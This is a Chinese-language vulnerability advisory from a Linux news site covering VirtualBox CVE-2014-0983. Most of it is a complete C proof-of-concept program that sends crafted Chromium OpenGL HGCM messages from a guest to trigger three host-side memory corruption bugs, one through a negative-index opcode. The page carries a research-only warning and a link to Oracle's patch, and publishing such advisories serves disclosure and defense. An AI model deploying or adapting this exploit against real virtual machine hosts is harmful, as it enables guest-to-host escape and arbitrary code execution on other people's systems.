手机版
你好,游客 登录 注册 搜索
背景:
阅读新闻

Oracle VM VirtualBox 'crServerDispatchVertexAttrib4NubAR()'函数内存破坏漏洞

[日期:2014-03-13] 来源:Linux社区  作者:Linux [字体: ]

发布日期:2014-03-11
更新日期:2014-03-13

受影响系统:
Oracle VM VirtualBox 4.1
Oracle VM VirtualBox 4.0
Oracle VM VirtualBox 3.2
Oracle VM VirtualBox 3.1
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 66133
CVE(CAN) ID: CVE-2014-0983

VirtualBox是一种x86的虚拟化产品。

Oracle VM VirtualBox在函数crServerDispatchVertexAttrib4NubAR()的实现上存在内存破坏漏洞,攻击者可利用该漏洞在主机操作系统内运行的管理程序上下文内执行任意代码。

<*来源:CoreLabs (http://www.coresecurity.com/corelabs/)
  *>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#include "stdafx.h"
#include <windows.h>
#include "vboxguest2.h"
#include "vboxguest.h"
#include "err.h"
#include "vboxcropenglsvc.h"
#include "cr_protocol.h"

#define VBOXGUEST_DEVICE_NAME "\\\\.\\VBoxGuest"


HANDLE open_device(){
    HANDLE hDevice = CreateFile(VBOXGUEST_DEVICE_NAME,
                            GENERIC_READ | GENERIC_WRITE,
                            FILE_SHARE_READ | FILE_SHARE_WRITE,
                            NULL,
                            OPEN_EXISTING,
                            FILE_ATTRIBUTE_NORMAL,
                            NULL);

    if (hDevice == INVALID_HANDLE_VALUE){
        printf("[-] Could not open device %s .\n", VBOXGUEST_DEVICE_NAME);
        exit(EXIT_FAILURE);
    }
    printf("[+] Handle to %s: 0x%X\n", VBOXGUEST_DEVICE_NAME, hDevice);
    return hDevice;


}


uint32_t do_connect(HANDLE hDevice){
    VBoxGuestHGCMConnectInfo info;
    DWORD cbReturned = 0;
    BOOL rc;

    memset(&info, 0, sizeof(info));
    info.Loc.type = VMMDevHGCMLoc_LocalHost_Existing;
    strcpy(info.Loc.u.host.achName, "VBoxSharedCrOpenGL");

    rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CONNECT, &info,
sizeof(info), &info, sizeof(info), &cbReturned, NULL);
    if (!rc){
        printf("ERROR: DeviceIoControl failed in function do_connect()!
LastError: %d\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    if (info.result == VINF_SUCCESS){
        printf("HGCM connect was successful: client id =0x%x\n",
info.u32ClientID);
    }
    else{
        //If 3D Acceleration is disabled, info.result value will be -2900.
        printf("[-] HGCM connect failed. Result: %d (Is 3D Acceleration
enabled??)\n", info.result);
        exit(EXIT_FAILURE);
    }
    return info.u32ClientID;
}


void do_disconnect(HANDLE hDevice, uint32_t u32ClientID){
    BOOL rc;
    VBoxGuestHGCMDisconnectInfo info;
    DWORD cbReturned = 0;

    memset(&info, 0, sizeof(info));
    info.u32ClientID = u32ClientID;
    printf("Sending VBOXGUEST_IOCTL_HGCM_DISCONNECT message...\n");
    rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_DISCONNECT,
&info, sizeof(info), &info, sizeof(info), &cbReturned, NULL);
    if (!rc){
        printf("ERROR: DeviceIoControl failed in function
do_disconnect()! LastError: %d\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    if (info.result == VINF_SUCCESS){
        printf("HGCM disconnect was successful.\n");
    }
    else{
        printf("[-] HGCM disconnect failed. Result: %d\n", info.result);
        exit(EXIT_FAILURE);
    }

}


void set_version(HANDLE hDevice, uint32_t u32ClientID){
    CRVBOXHGCMSETVERSION parms;
    DWORD cbReturned = 0;
    BOOL rc;

    memset(&parms, 0, sizeof(parms));
    parms.hdr.result      = VERR_WRONG_ORDER;
    parms.hdr.u32ClientID = u32ClientID;
    parms.hdr.u32Function = SHCRGL_GUEST_FN_SET_VERSION;
    parms.hdr.cParms      = SHCRGL_CPARMS_SET_VERSION;

    parms.vMajor.type      = VMMDevHGCMParmType_32bit;
    parms.vMajor.u.value32 = CR_PROTOCOL_VERSION_MAJOR;
    parms.vMinor.type      = VMMDevHGCMParmType_32bit;
    parms.vMinor.u.value32 = CR_PROTOCOL_VERSION_MINOR;

    rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms,
sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);

    if (!rc){
        printf("ERROR: DeviceIoControl failed in function set_version()!
LastError: %d\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    if (parms.hdr.result == VINF_SUCCESS){
        printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned);
    }
    else{
        printf("Host didn't accept our version.\n");
        exit(EXIT_FAILURE);
    }
}


void set_pid(HANDLE hDevice, uint32_t u32ClientID){
    CRVBOXHGCMSETPID parms;
    DWORD cbReturned = 0;
    BOOL rc;

    memset(&parms, 0, sizeof(parms));
    parms.hdr.result      = VERR_WRONG_ORDER;
    parms.hdr.u32ClientID = u32ClientID;
    parms.hdr.u32Function = SHCRGL_GUEST_FN_SET_PID;
    parms.hdr.cParms      = SHCRGL_CPARMS_SET_PID;

    parms.u64PID.type    = VMMDevHGCMParmType_64bit;
    parms.u64PID.u.value64 = GetCurrentProcessId();

    rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms,
sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);

    if (!rc){
        printf("ERROR: DeviceIoControl failed in function set_pid()!
LastError: %d\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    if (parms.hdr.result == VINF_SUCCESS){
        printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned);
    }
    else{
        printf("Host didn't like our PID %d\n", GetCurrentProcessId());
        exit(EXIT_FAILURE);
    }

}


/* Triggers the vulnerability in the crNetRecvReadback function. */
void trigger_message_readback(HANDLE hDevice, uint32_t u32ClientID){
    CRVBOXHGCMINJECT parms;
    DWORD cbReturned = 0;
    BOOL rc;
    char mybuf[1024];
    CRMessageReadback msg;

    memset(&msg, 0, sizeof(msg));
    msg.header.type = CR_MESSAGE_READBACK;
    msg.header.conn_id = 0x8899;


    //This address will be decremented by 1
    *((DWORD *)&msg.writeback_ptr.ptrSize) = 0x88888888;
    //Destination address for the memcpy
    *((DWORD *)&msg.readback_ptr.ptrSize) = 0x99999999;

    memcpy(&mybuf, &msg, sizeof(msg));
    strcpy(mybuf + sizeof(msg), "Hi hypervisor!");

    memset(&parms, 0, sizeof(parms));
    parms.hdr.result      = VERR_WRONG_ORDER;
    parms.hdr.u32ClientID = u32ClientID;
    parms.hdr.u32Function = SHCRGL_GUEST_FN_INJECT;
    parms.hdr.cParms      = SHCRGL_CPARMS_INJECT;

    parms.u32ClientID.type      = VMMDevHGCMParmType_32bit;
    parms.u32ClientID.u.value32  = u32ClientID;

    parms.pBuffer.type                  = VMMDevHGCMParmType_LinAddr_In;
    parms.pBuffer.u.Pointer.size        = sizeof(mybuf); //size for the
memcpy: sizeof(mybuf) - 0x18
    parms.pBuffer.u.Pointer.u.linearAddr = (uintptr_t) mybuf;

    rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms,
sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);

    if (!rc){
        printf("ERROR: DeviceIoControl failed in function
trigger_message_readback()!. LastError: %d\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    if (parms.hdr.result == VINF_SUCCESS){
        printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned);
    }
    else{
        printf("HGCM Call failed. Result: %d\n", parms.hdr.result);
        exit(EXIT_FAILURE);
    }
}


/* Triggers the vulnerability in the crNetRecvWriteback function. */
void trigger_message_writeback(HANDLE hDevice, uint32_t u32ClientID){
    CRVBOXHGCMINJECT parms;
    DWORD cbReturned = 0;
    BOOL rc;
    char mybuf[512];
    CRMessage msg;

    memset(&mybuf, 0, sizeof(mybuf));

    memset(&msg, 0, sizeof(msg));
    msg.writeback.header.type = CR_MESSAGE_WRITEBACK;
    msg.writeback.header.conn_id = 0x8899;
    //This address will be decremented by 1
    *((DWORD *)msg.writeback.writeback_ptr.ptrSize) = 0xAABBCCDD;

    memcpy(&mybuf, &msg, sizeof(msg));
    strcpy(mybuf + sizeof(msg), "dummy");

    memset(&parms, 0, sizeof(parms));
    parms.hdr.result      = VERR_WRONG_ORDER;
    parms.hdr.u32ClientID = u32ClientID;
    parms.hdr.u32Function = SHCRGL_GUEST_FN_INJECT;
    parms.hdr.cParms      = SHCRGL_CPARMS_INJECT;

    parms.u32ClientID.type      = VMMDevHGCMParmType_32bit;
    parms.u32ClientID.u.value32  = u32ClientID;

    parms.pBuffer.type                  = VMMDevHGCMParmType_LinAddr_In;
    parms.pBuffer.u.Pointer.size        = sizeof(mybuf);
    parms.pBuffer.u.Pointer.u.linearAddr = (uintptr_t) mybuf;


    rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms,
sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);

    if (!rc){
        printf("ERROR: DeviceIoControl failed in function
trigger_message_writeback()! LastError: %d\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    if (parms.hdr.result == VINF_SUCCESS){
        printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned);
    }
    else{
        printf("HGCM Call failed. Result: %d\n", parms.hdr.result);
        exit(EXIT_FAILURE);
    }

}


/* Triggers the vulnerability in the crServerDispatchVertexAttrib4NubARB
function. */
void trigger_opcode_0xea(HANDLE hDevice, uint32_t u32ClientID){
    CRVBOXHGCMINJECT parms;
    char mybuf[0x10f0];
    DWORD cbReturned = 0;
    BOOL rc;

    unsigned char opcodes[] = {0xFF, 0xea, 0x02, 0xf7};
    DWORD opcode_data[] =
                    {0x08,                        //Advance 8 bytes
after executing opcode 0xF7, subopcode 0x30
                    0x30,                        //Subopcode for opcode 0xF7
                    0x331,                        //Argument for opcode 0x02
                    0xFFFCFA4B,                    //This is the
negative index used to trigger the memory corruption
                    0x41414141};                //Junk

    CRMessageOpcodes msg_opcodes;

    memset(&mybuf, 0, sizeof(mybuf));

    memset(&msg_opcodes, 0, sizeof(msg_opcodes));
    msg_opcodes.header.conn_id = 0x8899;
    msg_opcodes.header.type = CR_MESSAGE_OPCODES;
    msg_opcodes.numOpcodes = sizeof(opcodes);

    char *offset = (char *)&mybuf;
    memcpy(offset, &msg_opcodes, sizeof(msg_opcodes));
    offset += sizeof(msg_opcodes);

    /*----- Opcodes -----*/
    memcpy(offset, &opcodes, sizeof(opcodes));
    offset += sizeof(opcodes);

    /*----- data for the opcodes -----*/
    memcpy(offset, &opcode_data, sizeof(opcode_data));
    offset += sizeof(opcode_data);


    memset(&parms, 0, sizeof(parms));
    parms.hdr.result      = 0;
    parms.hdr.u32ClientID = u32ClientID;
    parms.hdr.u32Function = SHCRGL_GUEST_FN_INJECT;
    parms.hdr.cParms      = SHCRGL_CPARMS_INJECT;

    parms.u32ClientID.type      = VMMDevHGCMParmType_32bit;
    parms.u32ClientID.u.value32  = u32ClientID;

    parms.pBuffer.type                  = VMMDevHGCMParmType_LinAddr_In;
    parms.pBuffer.u.Pointer.size        = sizeof(mybuf);
    parms.pBuffer.u.Pointer.u.linearAddr = (uintptr_t) mybuf;

    rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms,
sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);

    if (!rc){
        printf("ERROR: DeviceIoControl failed in function
trigger_opcode_0xea()! LastError: %d\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    if (parms.hdr.result == VINF_SUCCESS){
        printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned);
    }
    else{
        printf("HGCM Call failed. Result: %d\n", parms.hdr.result);
        exit(EXIT_FAILURE);
    }

}


void poc(int option){
    HANDLE hDevice;
    uint32_t u32ClientID;

    /* Connect to the VBoxSharedCrOpenGL service */
    hDevice = open_device();
    u32ClientID = do_connect(hDevice);

    /* Set version and PID */
    set_version(hDevice, u32ClientID);
    set_pid(hDevice, u32ClientID);

    switch (option){
    case 1:
        printf("[1] triggering the first bug...\n");
        trigger_message_readback(hDevice, u32ClientID);
        break;
    case 2:
        printf("[2] triggering the second bug...\n");
        trigger_message_writeback(hDevice, u32ClientID);
        break;
    case 3:
        printf("[3] triggering the third bug...\n");
        trigger_opcode_0xea(hDevice, u32ClientID);
        break;
    default:
        printf("[!] Unknown option %d.\n", option);
    }

    /* Disconnect from the VBoxSharedCrOpenGL service */
    do_disconnect(hDevice, u32ClientID);
    CloseHandle(hDevice);
}

 


int main(int argc, char* argv[])
{
    if (argc < 2){
        printf("Usage: %s <option number>\n\n", argv[0]);
        printf("* Option 1: trigger the vulnerability in the
crNetRecvReadback function.\n");
        printf("* Option 2: trigger the vulnerability in the
crNetRecvWriteback function.\n");
        printf("* Option 3: trigger the vulnerability in the
crServerDispatchVertexAttrib4NubARB function.\n");
        exit(1);
    }
    poc(atoi(argv[1]));
}

建议:
--------------------------------------------------------------------------------
厂商补丁:

Oracle
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.oracle.com/technetwork/topics/security/

linux
相关资讯       VirtualBox  VirtualBox漏洞 
本文评论   查看全部评论 (0)
表情: 表情 姓名: 字数

       

评论声明
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管辖留言中的任意内容
  • 本站有权在网站内转载或引用您的评论
  • 参与本评论即表明您已经阅读并接受上述条款